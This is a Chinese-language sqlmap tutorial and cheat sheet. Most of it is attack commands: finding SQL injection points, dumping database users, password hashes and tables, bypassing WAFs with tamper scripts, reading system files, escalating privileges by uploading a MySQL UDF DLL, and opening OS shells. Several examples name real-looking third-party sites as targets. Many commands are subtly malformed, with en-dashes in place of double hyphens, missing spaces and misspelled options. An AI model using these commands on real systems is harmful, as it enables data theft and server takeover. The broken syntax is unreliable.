-- 快速学习利用sqlmap扫描检测sql注入漏洞,挖掘及攻击测试
【官网】:https://sqlmap.org/
应用场景
sqlmap是一个开源的渗透测试工具,可以用来进行自动化数据库指纹识别,数据库枚举,数据提取,访问目标文件系统,并在获取完全的操作权限执行任意命令。目前支持数据库有mysql、oracle、access、postagesql、sql server、sqlite等 sqlmap采用了五种独特的sql注入技术: 1)布尔类型的盲注,既可以根据返回页面判断条件真假的注入 2)时间的盲注,既不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行来判断。 3)报错注入,页面会返回爆错基础资源
python 2.6, 2.7 and 3.x
使用须知
请勿用于非法用途
配置步骤
sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。
sqlmap支持五种不同的注入模式:
1) 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
4)联合查询注入,可以使用union的情况下的注入;
5)堆查询注入,可以同时执行多条语句的执行时的注入。
(1)linux下git直接安装。
(2)windows下安装
windows下下载sqlmap的压缩包,解压后即可使用。但需要一些组件包的支持,需要有python2.6.x,2.7.x,3.x环境支持。
附sqlmap的zip下载地址:https://github.com/sqlmapproject/sqlmap/zipball/master
python下载地址: https://www.python.org/downloads/
注1):推荐下载python3.10,安装过程勾选加入到环境变量 path.
注2): 安装python完成后,可以在cmd下输入: python, 看是否有python版本之类的信息显示。有则说明安装成功了。
(3)kali及PentestBox默认安装sqlmap.
进入sqlmap的安装目录,我们会看到一个sqlmap.py的文件,通过cmd命令cd到该目录之后,输入:
python sqlmap.py -v
得到sqlmap的详细的版本信息。当然输入其它的命令都会执行,效果如图:
A)Sqlmap简介。
B)Sqlmap下载与安装。
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
C)sqlmap的命令执行。
常见问题
快速入门
A)Sqlmap挖掘sql注入漏洞的过程实例。
b1)结合burpsuite工具抓包,之后使用sqlmap进行sql注入漏洞分析。
步骤:
step1)基于burpsuite工具抓包.
如果对burpsuite工具想了解其下载,安装,配置,则可以参考:http://config.net.cn/producttest/61ccfb4c-b56f-4aa6-9c35-1bdadf12801d-p1.html
step2)得到目标请求url的http包信息后,保存到一个.txt文件.
step3)使用sqlmap工具,加载上述http包数据文件,进行分析,例如: python sqlmap.py -r "C:\Users\taoba\Desktop\CTF\Post-sql.txt"
详细过程见图片:
经过一顿分析检测,最后结果如下:
[注1]上面显示目前的检测阶段并没发现sql注入漏洞,需要进一步检测分析。 如果上面已经分析出来了 params "channelid"是可以注入的,那么我们可以使用下面的命令基于原来的http包,替换参数进行侦测:
python sqlmap.py -r "C:\Users\taoba\Desktop\CTF\Post-sql.txt" -p channelid: 指定参数值 //当有多个参数而你又知道username参数存在
SQL漏洞,你就可以使用-p指定参数进行探测.
【注2]如果有多个参数要组合提交,则可以使用:
python sqlmap.py -u URL --data“username=a&password=a”命令。
【注3]如果需要在cookie中指定参数进行sql注入。
sqlmap.py -u "http://site.com/login?username=a&passowrd=b" –cookies "id=1" –dbs –level 2
【注4]在实际检测过程中,sqlmap会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数“--batch”命令来自动答复和判断。
B)Sqlmap常用命令。
b1)系统命令。
-h,--help 显示基本帮助信息并退出
-hh 显示高级帮助信息并退出
--version 显示程序版本信息并退出
-vVERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。
a2)确定目标的命令.
在这些选项中必须提供至少有一个确定目标
-d DIRECT 直接连接数据库的连接字符串
-u URL, --url=URL 目标URL (e.g."http://www.site.com/vuln.php?id=1"),使用-u或者--url
-l LOGFILE 从Burp或者WebScarab代理日志文件中分析目标
-x SITEMAPURL 从远程网站地图(sitemap.xml)文件来解析目标
-m BULKFILE 将目标地址保存在文件中,一行为一个URL地址进行批量检测。//sqlmap.py-m tg.txt
-r REQUESTFILE 从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等),请求是HTTPS的时需要配合这个--force-ssl参数来使用,或者可以在Host头后门加上:443
-g GOOGLEDORK 从谷歌中加载结果目标URL(只获取前100个结果,需要挂代理)
-c CONFIGFILE 从配置ini文件中加载选项
b3)常规漏洞挖掘,定位分析命令。
sqlmap -u url --users :查看数据库所有用户 //cmd中命令用法: python sqlmap.py -u "http://site.com/login?u=test&p=123456"
sqlmap -u url --passwords :查看数据库所有用户密码
sqlmap -u url :判断注入点
sqlmap -u url --current-dbs :查看当前所有数据库
sqlmap -u url --current-user :查看数据库当前的用户
sqlmap -u url --is-dba :判断当前用户是否有管理员权限
sqlmap -u url --roles :列出数据库所有管理员角色
sqlmap -u url --current-db :查看当前数据库
sqlmap -u url -D 库名 --tables :爆表
sqlmap -u url -D 库名 -T 表明 --columns :爆字段
sqlmap -u url -D 库名 -T 表明 --C 字段名1,字段名2 --dump :爆数据
sqlmap -u url -D 库名 --dump-all :爆出数据库中所有数据
b4)扩展命令及用法。
c)sqlmap实用技巧。
1. mysql的注释方法进行绕过WAF进行SQL注入
(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py
return match.group().replace(word,"/*!0%s" % word) 为:
return match.group().replace(word,"/*!50000%s*/" % word)
(2)修改C:\Python27\sqlmap\xml\queries.xml
<cast query="CAST(%s ASCHAR)"/>为:
<castquery="convert(%s,CHAR)"/>
(3)使用sqlmap进行注入测试
sqlmap.py -u"http://site.com/detail.php? id=16" –tamper "halfversionedmorekeywords.py"
其它绕过waf脚本方法:
sqlmap.py-u "http://site/sqlmap/mysql/get_int.php?id=1" --tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
(4)tamper目录下文件具体含义:
space2comment.py用/**/代替空格
apostrophemask.py用utf8代替引号
equaltolike.pylike代替等号
space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py空格替换为#号,随机字符串以及换行符
apostrophenullencode.py绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py(mssql)空格替换为其它空符号
base64encode.py 用base64编码替换
space2mssqlhash.py 替换空格
modsecurityversioned.py过滤空格,包含完整的查询版本注释
space2mysqlblank.py 空格替换其它空白符号(mysql)
between.py用between替换大于号(>)
space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py围绕SQL关键字添加多个空格
space2plus.py用+替换空格
bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py双重查询语句,取代SQL关键字
space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py双url编码(不处理以编码的)
unionalltounion.py替换UNION ALLSELECT UNION SELECT
charencode.py url编码
randomcase.py随机大小写
unmagicquotes.py宽字符绕过 GPCaddslashes
randomcomments.py用/**/分割sql关键字
charunicodeencode.py字符串 unicode 编码
securesphere.py追加特制的字符串
versionedmorekeywords.py注释绕过
space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’
halfversionedmorekeywords.py关键字前加注释
2. URL重写SQL注入测试
value1为测试参数,加“*”即可,sqlmap将会测试value1的位置是否可注入。
sqlmap.py -u"http://targeturl/param1/value1*/param2/value2/"
3. 列举并破解密码哈希值
当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
sqlmap.py -u"http://site/sqlmap/pgsql/get_int.php?id=1" --passwords -v1
4. 获取表中的数据个数
sqlmap.py -u"http://site/sqlmap/mssql/iis/get_int.asp?id=1" --count -Dtestdb
5.对网站secbang.com进行漏洞爬去
sqlmap.py -u "http://www.secbang.com"--batch --crawl=3
6.基于布尔SQL注入预估时间
sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1"-b --eta
7.使用hex避免字符编码导致数据丢失
sqlmap.py -u "http://site/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors
8.模拟测试手机环境站点
python sqlmap.py -u"http://www.target.com/vuln.php?id=1" --mobile
9.智能判断测试
sqlmap.py -u "http://www.antian365.com/info.php?id=1"--batch --smart
10.结合burpsuite进行注入
(1)burpsuite抓包,需要设置burpsuite记录请求日志
sqlmap.py -r burpsuite抓包.txt
(2)指定表单注入
sqlmap.py -u URL --data“username=a&password=a”
11.sqlmap自动填写表单注入
自动填写表单:
sqlmap.py -u URL --forms
sqlmap.py -u URL --forms --dbs
sqlmap.py -u URL --forms --current-db
sqlmap.py -u URL --forms -D 数据库名称--tables
sqlmap.py -u URL --forms -D 数据库名称 -T 表名 --columns
sqlmap.py -u URL --forms -D 数据库名称 -T 表名 -Cusername,password --dump
12.读取linux下文件
sqlmap.py-u "url" --file /etc/password
13.延时注入
sqlmap.py -u URL --technique -T--current-user
14. sqlmap 结合burpsuite进行post注入
结合burpsuite来使用sqlmap:
(1)浏览器打开目标地址http://www.antian365.com
(2)配置burp代理(127.0.0.1:8080)以拦截请求
(3)点击登录表单的submit按钮
(4)Burp会拦截到了我们的登录POST请求
(5)把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下
(6)运行sqlmap并使用如下命令:
./sqlmap.py -r post.txt -p tfUPass
15.sqlmap cookies注入
sqlmap.py -u "http://site.com/base.PHP"–cookies "id=1" –dbs –level 2
默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:
sqlmap.py -u 注入点URL --cookie"id=xx" --level 3
sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)
sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumns
sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump
16.mysql提权
(1)连接mysql数据打开一个交互shell:
sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --sql-shell select @@version; select @@plugin_dir; d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\
(2)利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:
sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll CREATE FUNCTION sys_exec RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll‘ CREATE FUNCTION sys_eval RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll‘ select sys_eval(‘ver‘);
17.执行shell命令
sqlmap.py -u "url" –os-cmd="netuser" /*执行net user命令*/
sqlmap.py -u "url" –os-shell /*系统交互的shell*/
18.延时注入
sqlmap –dbs -u"url" –delay 0.5 /*延时0.5秒*/
sqlmap –dbs -u"url" –safe-freq /*请求2次*/